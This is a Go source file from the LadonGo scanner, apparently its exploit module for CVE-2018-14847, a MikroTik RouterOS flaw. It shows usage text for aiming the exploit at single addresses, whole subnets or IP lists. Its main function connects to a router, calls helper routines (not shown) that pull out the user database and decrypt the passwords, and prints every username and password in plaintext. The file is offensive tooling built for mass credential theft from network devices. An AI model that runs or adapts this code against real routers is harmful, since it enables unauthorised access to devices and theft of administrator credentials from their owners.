package exp
//Ladon Scanner for golang 
//Author: k8gege
//K8Blog: http://k8gege.org/Ladon
//Github: https://github.com/k8gege/LadonGo
//Date:2021.4.21
import (
	"fmt"
	//"log"
)

var ip string
var port string

var Cve2018_14847Help = func () {
    fmt.Println("Usage: Ladon CVE-2018-14847 ip port")
	fmt.Println("Example:")
	fmt.Println("Ladon CVE-2018-14847 192.168.1.8 8291")
	fmt.Println("Ladon 192.168.1.8/24 CVE-2018-14847")
	fmt.Println("Ladon 192.168.1.8/b  CVE-2018-14847")
	fmt.Println("Ladon ip.txt CVE-2018-14847")
}

func Cve2018_14847Exp(ip,port string) {

	var data []byte
	var err error
	if data, err = connectToRouter(ip, port); err != nil {
		//log.Fatal(err)
	}
	users, err := getUsersAandDecryptPasswords(data)
	if err != nil {
		//log.Fatal(err)
	}
	//fmt.Printf("Checking... %s\n",ip)
	for _, u := range users {
		//fmt.Printf("Username: %s Password: %s\n", u.username, u.pass)
		fmt.Printf("%s\t%s %s\n",ip, u.username, u.pass)
	}
}
